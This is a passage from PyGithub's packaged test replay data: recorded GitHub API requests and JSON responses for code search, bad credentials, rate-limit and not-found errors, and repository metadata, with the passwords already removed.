8e601511dd18f1f3ef0162/docs/search.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":30.550869},{"name":"user_guide.html","path":"docs/user_guide.html","sha":"cbc47d1035173fc0ffc88a5f7bf1eb869cb16a5b","url":"https://api.github.com/repositories/100627412/contents/docs/user_guide.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/cbc47d1035173fc0ffc88a5f7bf1eb869cb16a5b","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/user_guide.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":30.550869},{"name":"index.html","path":"docs/index.html","sha":"b28fd3e041d41dfb3d2c68c93969ce2c32521480","url":"https://api.github.com/repositories/6518903/contents/docs/index.html?ref=16a493a59c2e22812c8b4545b11be4b6ca4e38d3","git_url":"https://api.github.com/repositories/6518903/git/blobs/b28fd3e041d41dfb3d2c68c93969ce2c32521480","html_url":"https://github.com/jacquev6/ActionTree/blob/16a493a59c2e22812c8b4545b11be4b6ca4e38d3/docs/index.html","repository":{"id":6518903,"node_id":"MDEwOlJlcG9zaXRvcnk2NTE4OTAz","name":"ActionTree","full_name":"jacquev6/ActionTree","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/ActionTree","description":"Python library executing long concurrent actions with inter-dependencies","fork":false,"url":"https://api.github.com/repos/jacquev6/ActionTree","forks_url":"https://api.github.com/repos/jacquev6/ActionTree/forks","keys_url":"https://api.github.com/repos/jacquev6/ActionTree/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/ActionTree/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/ActionTree/teams","hooks_url":"https://api.github.com/repos/jacquev6/ActionTree/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/ActionTree/events","assignees_url":"https://api.github.com/repos/jacquev6/ActionTree/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/ActionTree/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/ActionTree/tags","blobs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/ActionTree/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/ActionTree/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/ActionTree/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/ActionTree/languages","stargazers_url":"https://api.github.com/repos/jacquev6/ActionTree/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/ActionTree/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/ActionTree/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/ActionTree/subscription","commits_url":"https://api.github.com/repos/jacquev6/ActionTree/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/ActionTree/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/ActionTree/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/ActionTree/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/ActionTree/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/ActionTree/merges","archive_url":"https://api.github.com/repos/jacquev6/ActionTree/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/ActionTree/downloads","issues_url":"https://api.github.com/repos/jacquev6/ActionTree/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/ActionTree/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/ActionTree/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/ActionTree/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/ActionTree/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/ActionTree/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/ActionTree/deployments"},"score":30.45334}]} https GET api.github.com None /search/code?q=jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 403 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Oct 2018 06:16:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '403 Forbidden'), ('Retry-After', '60'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com status.github.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com; font-src assets-cdn.github.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: assets-cdn.github.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com collector.githubapp.com avatars0.githubusercontent.com avatars1.githubusercontent.com avatars2.githubusercontent.com avatars3.githubusercontent.com github-cloud.s3.amazonaws.com; manifest-src 'self'; media-src 'none'; script-src assets-cdn.github.com; style-src 'unsafe-inline' assets-cdn.github.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '6EFB:2C9E:20874C7:50B5096:5BCEBCD7')] {"documentation_url": "https://developer.github.com/v3/#abuse-rate-limits","message": "You have triggered an abuse detection mechanism. Please wait a few minutes before you try again."} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SpecificExceptions.testBadCredentials.txt0000644000175100001660000000064714756101563026260 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 401 [('status', '401 Unauthorized'), ('content-length', '29'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('etag', '"ca6a3702f840b6bff0bb1bca6be0337c"'), ('date', 'Sat, 02 Jun 2012 12:12:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Bad credentials"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SpecificExceptions.testBadUserAgent.txt0000644000175100001660000000061614756101563025714 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': ''} None 403 [('date', 'Fri, 17 May 2013 12:16:34 GMT'), ('content-length', '107'), ('content-type', 'application/octet-stream'), ('connection', 'keep-alive'), ('server', 'GitHub.com')] {"message":"Missing or invalid User Agent string. See http://developer.github.com/v3/#user-agent-required"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SpecificExceptions.testRateLimitExceeded.txt0000644000175100001660000002213114756101563026725 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6 {'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '2'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Accept-Encoding'), ('content-length', '1299'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 12:09:51 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', '"de9347ae9c0c83b44d6c81d05aba4877"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 12:23:52 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":16,"followers":27,"following":39,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-05-17T12:09:51Z","public_gists":3} https GET api.github.com None /users/jacquev6 {'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '1'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Accept-Encoding'), ('content-length', '1299'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 12:09:51 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', '"de9347ae9c0c83b44d6c81d05aba4877"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 12:23:53 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":16,"followers":27,"following":39,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-05-17T12:09:51Z","public_gists":3} https GET api.github.com None /users/jacquev6 {'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '0'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Accept-Encoding'), ('content-length', '1299'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 12:09:51 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', '"de9347ae9c0c83b44d6c81d05aba4877"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 12:23:54 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":16,"followers":27,"following":39,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-05-17T12:09:51Z","public_gists":3} https GET api.github.com None /users/jacquev6 {'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '0'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Accept-Encoding'), ('content-length', '1299'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 17 May 2013 12:09:51 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('etag', '"de9347ae9c0c83b44d6c81d05aba4877"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('date', 'Fri, 17 May 2013 12:23:55 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","name":"Vincent Jacques","company":"Criteo","blog":"http://vincent-jacques.net","location":"Paris, France","email":"vincent@vincent-jacques.net","hireable":false,"bio":"","public_repos":16,"followers":27,"following":39,"created_at":"2010-07-09T06:10:06Z","updated_at":"2013-05-17T12:09:51Z","public_gists":3} https GET api.github.com None /users/jacquev6 {'User-Agent': 'PyGithub/Python'} None 403 [('status', '403 Forbidden'), ('x-ratelimit-remaining', '0'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('content-length', '56'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('access-control-allow-credentials', 'true'), ('date', 'Fri, 17 May 2013 12:23:56 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] {"message":"API Rate Limit Exceeded for 92.104.200.119"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SpecificExceptions.testUnknownObject.txt0000644000175100001660000000332314756101563026174 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4971'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0e6c8f1cbb0c4f0eae96d8a76de9a43f"'), ('date', 'Sat, 02 Jun 2012 12:11:46 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"User","total_private_repos":5,"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","public_gists":3,"email":"vincent@vincent-jacques.net","owned_private_repos":5,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","private_gists":5,"collaborators":0,"created_at":"2010-07-09T06:10:06Z","blog":"http://vincent-jacques.net","location":"Paris, France","url":"https://api.github.com/users/jacquev6","following":24,"disk_usage":16988,"public_repos":10,"name":"Vincent Jacques","hireable":false,"followers":13,"html_url":"https://github.com/jacquev6","id":327146,"plan":{"private_repos":5,"collaborators":1,"space":614400,"name":"micro"},"bio":""} https GET api.github.com None /repos/jacquev6/Xxx {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('x-ratelimit-remaining', '4970'), ('content-length', '23'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e66a7a6c91e2c26803f3f49feb7a883f"'), ('date', 'Sat, 02 Jun 2012 12:11:47 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Tag.setUp.txt0000644000175100001660000005541514756101563020543 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 07 Jan 2025 09:17:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"37ea58577585c38f93634ef43114c657de2581286eb6976ec18c274de296eff0"'), ('Last-Modified', 'Mon, 06 Jan 2025 21:35:40 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1736243610'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'E546:1705F:14A20EF:153E971:677CF113')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 